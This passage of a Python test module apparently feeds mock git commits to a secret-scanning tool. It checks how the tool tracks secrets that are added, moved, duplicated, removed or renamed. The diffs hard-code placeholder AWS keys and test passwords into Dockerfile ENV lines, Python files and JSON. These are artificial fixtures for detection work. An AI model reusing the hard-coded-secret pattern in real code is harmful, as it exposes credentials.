Maven\\n+target/\\n+dist/\\n+\\n+# JetBrains IDE\\n+.idea/\\n+\\n+# Unit test reports\\n+TEST*.xml\\n+\\n+# Generated by MacOS\\n+.DS_Store\\n+\\n+# Generated by Windows\\n+Thumbs.db\\n+\\n+# Applications\\n+*.app\\n+*.exe\\n+*.war\\n+\\n+# Large media files\\n+*.mp4\\n+*.tiff\\n+*.avi\\n+*.flv\\n+*.mov\\n+*.wmv\\n+\\n\",\n            'readme_mock-first-commit-mock.txt': \"--- ''\\n+++ readme_mock-first-commit-mock.txt\\n@@ -0,0 +1 @@\\n+('https://developer.atlassian.com/server/jira/platform/oath/#generate-an-rsa-public-private-key-pair')\\n\\\\ No newline at end of file\\n\",\n            'test-multiline-secrets-first-commit-mock.json': '--- \\'\\'\\n+++ test-multiline-secrets-first-commit-mock.json\\n@@ -0,0 +1,18 @@\\n+{\\n+  \"spec\": [\\n+    {\\n+    \"name\": \"TEST_PASSWORD_3\",\\n+    \"value\": \"ABCPtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h\"\\n+    },\\n+    {\\n+      \"name\": \"SOME_NAME\",\\n+      \"value\": \"some_value\"\\n+    },\\n+    {\\n+      \"value\": \"Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE\",\\n+      \"value1\": \"1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35\",\\n+      \"name\": \"TEST_PASSWORD_1\",\\n+      \"name1\": \"TEST_PASSWORD_2\"\\n+    }\\n+  ]\\n+}\\n\\\\ No newline at end of file\\n'\n        }\n    )\n    yield Commit(\n        metadata=CommitMetadata(\n            commit_hash='11e59e4e578c6ebcb48aae1e5e078a54c62920eb',\n            committer='Mango🥭',\n            committed_datetime='2022-12-14T16:10:21+00:00'),\n        files={\n            'folder1/folder2/Dockerfile': 'diff --git a/folder1/folder2/Dockerfile b/folder1/folder2/Dockerfile\\nindex 0000..0000 0000\\n--- a/folder1/folder2/Dockerfile\\n+++ b/folder1/folder2/Dockerfile\\n@@ -5,7 +5,7 @@ FROM public.ecr.aws/lambda/python:3.9\\n \\n ENV PIP_ENV_VERSION=\"2022.1.8\"\\n COPY Pipfile Pipfile.lock ./\\n-\\n+ENV AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\\n \\n RUN pip install pipenv==${PIP_ENV_VERSION} \\\\\\n  && pipenv lock -r > requirements.txt \\\\\\n'}\n    )\n    yield Commit(\n        metadata=CommitMetadata(\n            commit_hash='c7c932ef4d31c487a921d2ce8544a4a468adf6b9',\n            committer='🥭Mango🥭',\n            committed_datetime='2022-12-14T16:28:47+00:00'),\n        files={\n            'folder1/folder2/Dockerfile': 'diff --git a/folder1/folder2/Dockerfile b/folder1/folder2/Dockerfile\\nindex 0000..0000 0000\\n--- a/folder1/folder2/Dockerfile\\n+++ b/folder1/folder2/Dockerfile\\n@@ -2,10 +2,10 @@\\n #checkov:skip=CKV_DOCKER_3:User is created automatically by lambda runtime\\n FROM public.ecr.aws/lambda/python:3.9\\n \\n-\\n+ENV AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\\n ENV PIP_ENV_VERSION=\"2022.1.8\"\\n COPY Pipfile Pipfile.lock ./\\n-ENV AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\\n+\\n \\n RUN pip install pipenv==${PIP_ENV_VERSION} \\\\\\n  && pipenv lock -r > requirements.txt \\\\\\n'}\n    )\n    yield Commit(\n        metadata=CommitMetadata(\n            commit_hash='4b8321e46217a87e21240afd88cdc0f1a861c0f5',\n            committer='Mango🥭',\n            committed_datetime='2022-12-14T16:32:13+00:00'),\n        files={\n            'folder1/folder2/Dockerfile': 'diff --git a/folder1/folder2/Dockerfile b/folder1/folder2/Dockerfile\\nindex 0000..0000 0000\\n--- a/folder1/folder2/Dockerfile\\n+++ b/folder1/folder2/Dockerfile\\n@@ -2,7 +2,6 @@\\n #checkov:skip=CKV_DOCKER_3:User is created automatically by lambda runtime\\n FROM public.ecr.aws/lambda/python:3.9\\n \\n-ENV AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\\n ENV PIP_ENV_VERSION=\"2022.1.8\"\\n COPY Pipfile Pipfile.lock ./\\n \\n'}\n    )\n    yield Commit(\n        metadata=CommitMetadata(\n            commit_hash='7bb5c69d95b31bc2242bcf08ce25e74e953f9ae9',\n            committer='🥭Mango🥭',\n            committed_datetime='2022-12-14T16:54:05+00:00'),\n        files={\n            'folder1/folder2/Dockerfile': 'diff --git a/folder1/folder2/Dockerfile b/folder1/folder2/Dockerfile\\nindex 0000..0000 0000\\n--- a/folder1/folder2/Dockerfile\\n+++ b/folder1/folder2/Dockerfile\\n@@ -4,7 +4,7 @@ FROM public.ecr.aws/lambda/python:3.9\\n \\n ENV PIP_ENV_VERSION=\"2022.1.8\"\\n COPY Pipfile Pipfile.lock ./\\n-\\n+ENV AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\\n \\n RUN pip install pipenv==${PIP_ENV_VERSION} \\\\\\n  && pipenv lock -r > requirements.txt \\\\\\n'}\n    )\n    yield Commit(\n        metadata=CommitMetadata(\n            commit_hash='2675bffd2662aae7025b7f3bb5fd384cdab355b1',\n            committer='🥭Mango🥭',\n            committed_datetime='2022-12-14T16:57:26+00:00'),\n        files={\n            'folder1/folder2/Dockerfile': 'diff --git a/folder1/folder2/Dockerfile b/folder1/folder2/Dockerfile\\nindex 0000..0000 0000\\n--- a/folder1/folder2/Dockerfile\\n+++ b/folder1/folder2/Dockerfile\\n@@ -1,10 +1,11 @@\\n #checkov:skip=CKV_DOCKER_2:Healthcheck is not relevant for ephemral containers\\n #checkov:skip=CKV_DOCKER_3:User is created automatically by lambda runtime\\n FROM public.ecr.aws/lambda/python:3.9\\n+ENV AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\\n \\n ENV PIP_ENV_VERSION=\"2022.1.8\"\\n COPY Pipfile Pipfile.lock ./\\n-ENV AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\\n+\\n \\n RUN pip install pipenv==${PIP_ENV_VERSION} \\\\\\n  && pipenv lock -r > requirements.txt \\\\\\n'}\n    )\n\n\ndef mock_get_commits_diff_iter3(repo: Repo, root_folder: str, git_commits: List[Any],\n                                is_full_scan: bool = True) -> Generator[Commit, None, None]:\n    \"\"\"\n    add secret (secret1 added) - +1\n    move the secret to different line - 0\n    add secret equal to secret1 - +1\n    remove one secret (secret1 - update add remove_commit_hash) - 0\n    \"\"\"\n    yield Commit(\n        metadata=CommitMetadata(\n            commit_hash='c9b3268e15eb20fd406b9077a4c45875086d6c1b',\n            committer='🐲dragon of commits🐲',\n            committed_datetime='2022-11-14T16:10:21+00:00'),\n        files={\n            '.gitignore': \"--- ''\\n+++ .gitignore\\n@@ -0,0 +1,50 @@\\n+# These are some examples of commonly ignored file patterns.\\n+# You should customize this list as applicable to your project.\\n+# Learn more about .gitignore:\\n+#     https://www.atlassian.com/git/tutorials/saving-changes/gitignore\\n+\\n+# Node artifact files\\n+node_modules/\\n+dist/\\n+\\n+# Compiled Java class files\\n+*.class\\n+\\n+# Compiled Python bytecode\\n+*.py[cod]\\n+\\n+# Log files\\n+*.log\\n+\\n+# Package files\\n+*.jar\\n+\\n+# Maven\\n+target/\\n+dist/\\n+\\n+# JetBrains IDE\\n+.idea/\\n+\\n+# Unit test reports\\n+TEST*.xml\\n+\\n+# Generated by MacOS\\n+.DS_Store\\n+\\n+# Generated by Windows\\n+Thumbs.db\\n+\\n+# Applications\\n+*.app\\n+*.exe\\n+*.war\\n+\\n+# Large media files\\n+*.mp4\\n+*.tiff\\n+*.avi\\n+*.flv\\n+*.mov\\n+*.wmv\\n+\\n\",\n            'readme_mock-first-commit-mock.txt': \"--- ''\\n+++ readme_mock-first-commit-mock.txt\\n@@ -0,0 +1 @@\\n+('https://developer.atlassian.com/server/jira/platform/oath/#generate-an-rsa-public-private-key-pair')\\n\\\\ No newline at end of file\\n\",\n            'test-multiline-secrets-first-commit-mock.json': '--- \\'\\'\\n+++ test-multiline-secrets-first-commit-mock.json\\n@@ -0,0 +1,18 @@\\n+{\\n+  \"spec\": [\\n+    {\\n+    \"name\": \"TEST_PASSWORD_3\",\\n+    \"value\": \"ABCPtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h\"\\n+    },\\n+    {\\n+      \"name\": \"SOME_NAME\",\\n+      \"value\": \"some_value\"\\n+    },\\n+    {\\n+      \"value\": \"Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE\",\\n+      \"value1\": \"1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35\",\\n+      \"name\": \"TEST_PASSWORD_1\",\\n+      \"name1\": \"TEST_PASSWORD_2\"\\n+    }\\n+  ]\\n+}\\n\\\\ No newline at end of file\\n'\n        }\n    )\n    yield Commit(\n        metadata=CommitMetadata(\n            commit_hash='900b1e8f6f336a92e8f5fca3babca764e32c3b3d',\n            committer='baguette🥖',\n            committed_datetime='2022-12-14T16:10:21+00:00'),\n        files={\n            'folder1/folder2/Dockerfile': 'diff --git a/folder1/folder2/Dockerfile b/folder1/folder2/Dockerfile\\nindex 0000..0000 0000\\n--- a/folder1/folder2/Dockerfile\\n+++ b/folder1/folder2/Dockerfile\\n@@ -1,6 +1,7 @@\\n #checkov:skip=CKV_DOCKER_2:Healthcheck is not relevant for ephemral containers\\n #checkov:skip=CKV_DOCKER_3:User is created automatically by lambda runtime\\n FROM public.ecr.aws/lambda/python:3.9\\n+ENV AWS_ACCESS_KEY_ID=\"AKIAZZZZZZZZZZZZZZZZ\"\\n \\n ENV PIP_ENV_VERSION=\"2022.1.8\"\\n COPY Pipfile Pipfile.lock ./\\n'}\n    )\n    yield Commit(\n        metadata=CommitMetadata(\n            commit_hash='4229974aec78152c426b40db8b6912ba098f3add',\n            committer='baguette🥖',\n            committed_datetime='2022-12-14T16:28:47+00:00'),\n        files={\n            'folder1/folder2/Dockerfile': 'diff --git a/folder1/folder2/Dockerfile b/folder1/folder2/Dockerfile\\nindex 0000..0000 0000\\n--- a/folder1/folder2/Dockerfile\\n+++ b/folder1/folder2/Dockerfile\\n@@ -1,11 +1,11 @@\\n #checkov:skip=CKV_DOCKER_2:Healthcheck is not relevant for ephemral containers\\n #checkov:skip=CKV_DOCKER_3:User is created automatically by lambda runtime\\n FROM public.ecr.aws/lambda/python:3.9\\n-ENV AWS_ACCESS_KEY_ID=\"AKIAZZZZZZZZZZZZZZZZ\"\\n+\\n \\n ENV PIP_ENV_VERSION=\"2022.1.8\"\\n COPY Pipfile Pipfile.lock ./\\n-\\n+ENV AWS_ACCESS_KEY_ID=\"AKIAZZZZZZZZZZZZZZZZ\"\\n \\n RUN pip install pipenv==${PIP_ENV_VERSION} \\\\\\n  && pipenv lock -r > requirements.txt \\\\\\n'}\n    )\n    yield Commit(\n        metadata=CommitMetadata(\n            commit_hash='3c8cb7eedb3986308c96713fc65b006adcf3bc44',\n            committer='baguette🥖',\n            committed_datetime='2022-12-14T16:32:13+00:00'),\n        files={\n            'folder1/folder2/Dockerfile': 'diff --git a/folder1/folder2/Dockerfile b/folder1/folder2/Dockerfile\\nindex 0000..0000 0000\\n--- a/folder1/folder2/Dockerfile\\n+++ b/folder1/folder2/Dockerfile\\n@@ -6,7 +6,7 @@ FROM public.ecr.aws/lambda/python:3.9\\n ENV PIP_ENV_VERSION=\"2022.1.8\"\\n COPY Pipfile Pipfile.lock ./\\n ENV AWS_ACCESS_KEY_ID=\"AKIAZZZZZZZZZZZZZZZZ\"\\n-\\n+ENV AWS_ACCESS_KEY_ID=\"AKIAZZZZZZZZZZZZZZZZ\"\\n RUN pip install pipenv==${PIP_ENV_VERSION} \\\\\\n  && pipenv lock -r > requirements.txt \\\\\\n  && pipenv run pip install -r requirements.txt --target \"${LAMBDA_TASK_ROOT}\" \\\\\\n'}\n    )\n    yield Commit(\n        metadata=CommitMetadata(\n            commit_hash='697308e61171e33224757e620aaf67b1a877c99d',\n            committer='baguette🥖',\n            committed_datetime='2022-12-14T16:54:05+00:00'),\n        files={\n            'folder1/folder2/Dockerfile': 'diff --git a/folder1/folder2/Dockerfile b/folder1/folder2/Dockerfile\\nindex 0000..0000 0000\\n--- a/folder1/folder2/Dockerfile\\n+++ b/folder1/folder2/Dockerfile\\n@@ -5,7 +5,7 @@ FROM public.ecr.aws/lambda/python:3.9\\n \\n ENV PIP_ENV_VERSION=\"2022.1.8\"\\n COPY Pipfile Pipfile.lock ./\\n-ENV AWS_ACCESS_KEY_ID=\"AKIAZZZZZZZZZZZZZZZZ\"\\n+\\n ENV AWS_ACCESS_KEY_ID=\"AKIAZZZZZZZZZZZZZZZZ\"\\n RUN pip install pipenv==${PIP_ENV_VERSION} \\\\\\n  && pipenv lock -r > requirements.txt \\\\\\n'}\n    )\n    yield Commit(  # this commit should make no difference - its just to have 5 commits returned from this mock\n        metadata=CommitMetadata(\n            commit_hash='697308e61171e332247z2i2bi0aaf67b1a877c99d',\n            committer='baguette🥖',\n            committed_datetime='2022-12-14T16:54:05+00:00'),\n        files={\n            'Dockerfile': 'diff --git a/Dockerfile b/Dockerfile\\nindex 0000..0000 0000\\n--- a/Dockerfile\\n+++ b/Dockerfile\\n@@ -5,7 +5,7 @@ FROM public.ecr.aws/lambda/python:3.9\\n \\n ENV PIP_ENV_VERSION=\"2022.1.8\"\\n COPY Pipfile Pipfile.lock ./\\n-ENV AWS_PIPY=\"something\"\\n+\\n ENV AWS_DIP=\"ELSE\"\\n RUN pip install pipenv==${PIP_ENV_VERSION} \\\\\\n  && pipenv lock -r > requirements.txt \\\\\\n'}\n    )\n\n\ndef mock_get_commits_diff_remove_file(repo: Repo, root_folder: str, git_commits: List[Any],\n                                      is_full_scan: bool = True) -> Generator[Commit, None, None]:\n    yield Commit(\n        metadata=CommitMetadata(\n            commit_hash='c9b3268e15eb20fd406b9077a4c45875086d6c1b',\n            committer='🐲dragon of commits🐲',\n            committed_datetime='2022-11-14T16:10:21+00:00'),\n        files={\n            '.gitignore': \"--- ''\\n+++ .gitignore\\n@@ -0,0 +1,50 @@\\n+# These are some examples of commonly ignored file patterns.\\n+# You should customize this list as applicable to your project.\\n+# Learn more about .gitignore:\\n+#     https://www.atlassian.com/git/tutorials/saving-changes/gitignore\\n+\\n+# Node artifact files\\n+node_modules/\\n+dist/\\n+\\n+# Compiled Java class files\\n+*.class\\n+\\n+# Compiled Python bytecode\\n+*.py[cod]\\n+\\n+# Log files\\n+*.log\\n+\\n+# Package files\\n+*.jar\\n+\\n+# Maven\\n+target/\\n+dist/\\n+\\n+# JetBrains IDE\\n+.idea/\\n+\\n+# Unit test reports\\n+TEST*.xml\\n+\\n+# Generated by MacOS\\n+.DS_Store\\n+\\n+# Generated by Windows\\n+Thumbs.db\\n+\\n+# Applications\\n+*.app\\n+*.exe\\n+*.war\\n+\\n+# Large media files\\n+*.mp4\\n+*.tiff\\n+*.avi\\n+*.flv\\n+*.mov\\n+*.wmv\\n+\\n\",\n            'readme_mock-first-commit-mock.txt': \"--- ''\\n+++ readme_mock-first-commit-mock.txt\\n@@ -0,0 +1 @@\\n+('https://developer.atlassian.com/server/jira/platform/oath/#generate-an-rsa-public-private-key-pair')\\n\\\\ No newline at end of file\\n\",\n            'test-multiline-secrets-first-commit-mock.json': '--- \\'\\'\\n+++ test-multiline-secrets-first-commit-mock.json\\n@@ -0,0 +1,18 @@\\n+{\\n+  \"spec\": [\\n+    {\\n+    \"name\": \"TEST_PASSWORD_3\",\\n+    \"value\": \"ABCPtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h\"\\n+    },\\n+    {\\n+      \"name\": \"SOME_NAME\",\\n+      \"value\": \"some_value\"\\n+    },\\n+    {\\n+      \"value\": \"Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE\",\\n+      \"value1\": \"1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35\",\\n+      \"name\": \"TEST_PASSWORD_1\",\\n+      \"name1\": \"TEST_PASSWORD_2\"\\n+    }\\n+  ]\\n+}\\n\\\\ No newline at end of file\\n'\n        }\n    )\n    yield Commit(\n        metadata=CommitMetadata(\n            commit_hash='63342dbee285973a37770bbb1ff4258a3184901e',\n            committer='Lemon🍋',\n            committed_datetime='2022-12-14T16:10:21+00:00'),\n        files={\n            'Dockerfile': 'diff --git a/Dockerfile b/Dockerfile\\nindex 0000..0000 0000\\n--- a/Dockerfile\\n+++ b/Dockerfile\\n@@ -4,6 +4,7 @@ FROM public.ecr.aws/lambda/python:3.9\\n \\n ENV PIP_ENV_VERSION=\"2022.1.8\"\\n \\n+ENV AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\\n COPY Pipfile Pipfile.lock ./\\n \\n RUN pip install pipenv==${PIP_ENV_VERSION} \\\\\\n'}\n    )\n    yield Commit(\n        metadata=CommitMetadata(\n            commit_hash='bca377900d08d442b1080893e50b8dc8276cfcc0',\n            committer='Lemon🍋',\n            committed_datetime='2022-12-14T16:28:47+00:00'),\n        files={\n            'Dockerfile': 'diff --git a/Dockerfile b/Dockerfile\\nindex 0000..0000 0000\\n--- a/Dockerfile\\n+++ b/Dockerfile\\n@@ -13,6 +13,7 @@ RUN pip install pipenv==${PIP_ENV_VERSION} \\\\\\n  && rm -f requirements.txt Pipfile Pipfile.lock \\\\\\n  && pip uninstall -y pipenv\\n \\n+\\n COPY src/ \"${LAMBDA_TASK_ROOT}/src/\"\\n COPY utilsPython/ \"${LAMBDA_TASK_ROOT}/utilsPython/\"\\n \\n'}\n    )\n    yield Commit(\n        metadata=CommitMetadata(\n            commit_hash='4bd08cd0b2874025ce32d0b1e9cd84ca20d59ce1',\n            committer='Lemon🍋',\n            committed_datetime='2022-12-14T16:32:13+00:00'),\n        files={\n            'Dockerfile': 'diff --git a/Dockerfile b/None\\nindex 0000..0000 0000\\n--- a/Dockerfile\\n+++ b/None\\n@@ -1,20 +0,0 @@\\n-#checkov:skip=CKV_DOCKER_2:Healthcheck is not relevant for ephemral containers\\n-#checkov:skip=CKV_DOCKER_3:User is created automatically by lambda runtime\\n-FROM public.ecr.aws/lambda/python:3.9\\n-\\n-ENV PIP_ENV_VERSION=\"2022.1.8\"\\n-\\n-ENV AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\\n-COPY Pipfile Pipfile.lock ./\\n-\\n-RUN pip install pipenv==${PIP_ENV_VERSION} \\\\\\n- && pipenv lock -r > requirements.txt \\\\\\n- && pipenv run pip install -r requirements.txt --target \"${LAMBDA_TASK_ROOT}\" \\\\\\n- && rm -f requirements.txt Pipfile Pipfile.lock \\\\\\n- && pip uninstall -y pipenv\\n-\\n-\\n-COPY src/ \"${LAMBDA_TASK_ROOT}/src/\"\\n-COPY utilsPython/ \"${LAMBDA_TASK_ROOT}/utilsPython/\"\\n-\\n-CMD [\"src.secrets_setup.image.src.app.handler\"]\\n'}\n    )\n\n\ndef mock_get_commits_diff_rename_file(repo: Repo, root_folder: str, git_commits: List[Any],\n                                      is_full_scan: bool = True) -> Generator[Commit, None, None]:\n    yield Commit(\n        metadata=CommitMetadata(\n            commit_hash='c9b3268e15eb20fd406b9077a4c45875086d6c1b',\n            committer='🐲dragon of commits🐲',\n            committed_datetime='2022-11-14T16:10:21+00:00'),\n        files={\n            '.gitignore': \"--- ''\\n+++ .gitignore\\n@@ -0,0 +1,50 @@\\n+# These are some examples of commonly ignored file patterns.\\n+# You should customize this list as applicable to your project.\\n+# Learn more about .gitignore:\\n+#     https://www.atlassian.com/git/tutorials/saving-changes/gitignore\\n+\\n+# Node artifact files\\n+node_modules/\\n+dist/\\n+\\n+# Compiled Java class files\\n+*.class\\n+\\n+# Compiled Python bytecode\\n+*.py[cod]\\n+\\n+# Log files\\n+*.log\\n+\\n+# Package files\\n+*.jar\\n+\\n+# Maven\\n+target/\\n+dist/\\n+\\n+# JetBrains IDE\\n+.idea/\\n+\\n+# Unit test reports\\n+TEST*.xml\\n+\\n+# Generated by MacOS\\n+.DS_Store\\n+\\n+# Generated by Windows\\n+Thumbs.db\\n+\\n+# Applications\\n+*.app\\n+*.exe\\n+*.war\\n+\\n+# Large media files\\n+*.mp4\\n+*.tiff\\n+*.avi\\n+*.flv\\n+*.mov\\n+*.wmv\\n+\\n\",\n            'readme_mock-first-commit-mock.txt': \"--- ''\\n+++ readme_mock-first-commit-mock.txt\\n@@ -0,0 +1 @@\\n+('https://developer.atlassian.com/server/jira/platform/oath/#generate-an-rsa-public-private-key-pair')\\n\\\\ No newline at end of file\\n\",\n            'test-multiline-secrets-first-commit-mock.json': '--- \\'\\'\\n+++ test-multiline-secrets-first-commit-mock.json\\n@@ -0,0 +1,18 @@\\n+{\\n+  \"spec\": [\\n+    {\\n+    \"name\": \"TEST_PASSWORD_3\",\\n+    \"value\": \"ABCPtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h\"\\n+    },\\n+    {\\n+      \"name\": \"SOME_NAME\",\\n+      \"value\": \"some_value\"\\n+    },\\n+    {\\n+      \"value\": \"Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE\",\\n+      \"value1\": \"1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35\",\\n+      \"name\": \"TEST_PASSWORD_1\",\\n+      \"name1\": \"TEST_PASSWORD_2\"\\n+    }\\n+  ]\\n+}\\n\\\\ No newline at end of file\\n'\n        }\n    )\n    yield Commit(\n        metadata=CommitMetadata(\n            commit_hash='adef7360b86c62666f0a70521214220763b9c593',\n            committer='Strawberry🍓',\n            committed_datetime='2022-12-14T16:10:21+00:00'),\n        files={\n            'main.py': 'diff --git a/main.py b/main.py\\nindex 0000..0000 0000\\n--- a/main.py\\n+++ b/main.py\\n@@ -1,3 +1,3 @@\\n-\\n+AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\\n if __name__ == \\'__main__\\':\\n     print(\\'test\\')\\n'}\n    )\n    yield Commit(\n        metadata=CommitMetadata(\n            commit_hash='7b12f891358f690f254476c80988bfa837f36ac6',\n            committer='Strawberry🍓',\n            committed_datetime='2022-12-14T16:28:47+00:00'),\n        files={\n            'main.py': 'diff --git a/main.py b/main.py\\nindex 0000..0000 0000\\n--- a/main.py\\n+++ b/main.py\\n@@ -1,3 +1,4 @@\\n AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\\n+\\n if __name__ == \\'__main__\\':\\n     print(\\'test\\')\\n'}\n    )\n    yield Commit(\n        metadata=CommitMetadata(\n            commit_hash='2e1a500e688990e065fc6f1202bc64ed0ba53027',\n            committer='Strawberry🍓',\n            committed_datetime='2022-12-14T16:32:13+00:00'),\n        renamed_files={\n            'main.py': {\n                \"rename_from\": \"main.py\",\n                \"rename_to\": \"test.py\"\n            }\n        }\n    )\n\n\ndef mock_get_commits_diff_iter_modify_and_rename_file(repo: Repo, root_folder: str, git_commits: List[Any],\n                                                      is_full_scan: bool = True) -> Generator[Commit, None, None]:\n    \"\"\"\n    when we rename a file and modify it in the same commit it will consider as deleting the old file and creating a new file\n    add secret to file +1\n    rename the file and removed the secret- add removed_commit_hash\n    \"\"\"\n    yield Commit(\n        metadata=CommitMetadata(\n            commit_hash='c9b3268e15eb20fd406b9077a4c45875086d6c1b',\n            committer='🐲dragon of commits🐲',\n            committed_datetime='2022-11-14T16:10:21+00:00'),\n        files={\n            '.gitignore': \"--- ''\\n+++ .gitignore\\n@@ -0,0 +1,50 @@\\n+# These are some examples of commonly ignored file patterns.\\n+# You should customize this list as applicable to your project.\\n+# Learn more about .gitignore:\\n+#     https://www.atlassian.com/git/tutorials/saving-changes/gitignore\\n+\\n+# Node artifact files\\n+node_modules/\\n+dist/\\n+\\n+# Compiled Java class files\\n+*.class\\n+\\n+# Compiled Python bytecode\\n+*.py[cod]\\n+\\n+# Log files\\n+*.log\\n+\\n+# Package files\\n+*.jar\\n+\\n+# Maven\\n+target/\\n+dist/\\n+\\n+# JetBrains IDE\\n+.idea/\\n+\\n+# Unit test reports\\n+TEST*.xml\\n+\\n+# Generated by MacOS\\n+.DS_Store\\n+\\n+# Generated by Windows\\n+Thumbs.db\\n+\\n+# Applications\\n+*.app\\n+*.exe\\n+*.war\\n+\\n+# Large media files\\n+*.mp4\\n+*.tiff\\n+*.avi\\n+*.flv\\n+*.mov\\n+*.wmv\\n+\\n\",\n            'readme_mock-first-commit-mock.txt': \"--- ''\\n+++ readme_mock-first-commit-mock.txt\\n@@ -0,0 +1 @@\\n+('https://developer.atlassian.com/server/jira/platform/oath/#generate-an-rsa-public-private-key-pair')\\n\\\\ No newline at end of file\\n\",\n            'test-multiline-secrets-first-commit-mock.json': '--- \\'\\'\\n+++ test-multiline-secrets-first-commit-mock.json\\n@@ -0,0 +1,18 @@\\n+{\\n+  \"spec\": [\\n+    {\\n+    \"name\": \"TEST_PASSWORD_3\",\\n+    \"value\": \"ABCPtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h\"\\n+    },\\n+    {\\n+      \"name\": \"SOME_NAME\",\\n+      \"value\": \"some_value\"\\n+    },\\n+    {\\n+      \"value\": \"Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE\",\\n+      \"value1\": \"1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35\",\\n+      \"name\": \"TEST_PASSWORD_1\",\\n+      \"name1\": \"TEST_PASSWORD_2\"\\n+    }\\n+  ]\\n+}\\n\\\\ No newline at end of file\\n'\n        }\n    )\n    yield Commit(\n        metadata=CommitMetadata(\n            commit_hash='62da8e5e04ec5c3a474467e9012bf3427cff0407',\n            committer='🍹rename',\n            committed_datetime='2022-12-14T16:10:21+00:00'),\n        files={\n            'test.py': 'diff --git a/test.py b/test.py\\nindex 0000..0000 0000\\n--- a/test.py\\n+++ b/test.py\\n@@ -1,4 +1,4 @@\\n-\\n+AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\\n \\n if __name__ == \\'__main__\\':\\n     print(\\'test\\')\\n'}\n    )\n    yield Commit(\n        metadata=CommitMetadata(\n            commit_hash='61ee79aea3d151a40c8e054295f330d233eaf7d5',\n            committer='🍹rename',\n            committed_datetime='2022-12-14T16:28:47+00:00'),\n        files={\n            'test.py': 'diff --git a/test.py b/None\\nindex 0000..0000 0000\\n--- a/test.py\\n+++ b/None\\n@@ -1,4 +0,0 @@\\n-AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\\n-\\n-if __name__ == \\'__main__\\':\\n-    print(\\'test\\')\\n',\n            'test2.py': \"diff --git a/None b/test2.py\\nindex 0000..0000 0000\\n--- a/None\\n+++ b/test2.py\\n@@ -0,0 +1,3 @@\\n+\\n+if __name__ == '__main__':\\n+    print('test')\\n\"}\n    )\n\n\ndef mock_get_commits_diff_iter_remove_file_with_two_equal_secret(repo: Repo, root_folder: str, git_commits: List[Any],\n                                                                 is_full_scan: bool = True) -> Generator[\n    Commit, None, None]:\n    # yield Commit(\n    #     metadata=CommitMetadata(\n    #         commit_hash='c9b3268e15eb20fd406b9077a4c45875086d6c1b',\n    #         committer='🐲dragon of commits🐲',\n    #         committed_datetime='2022-11-14T16:10:21+00:00'),\n    #     files={\n    #         '.gitignore': \"--- ''\\n+++ .gitignore\\n@@ -0,0 +1,50 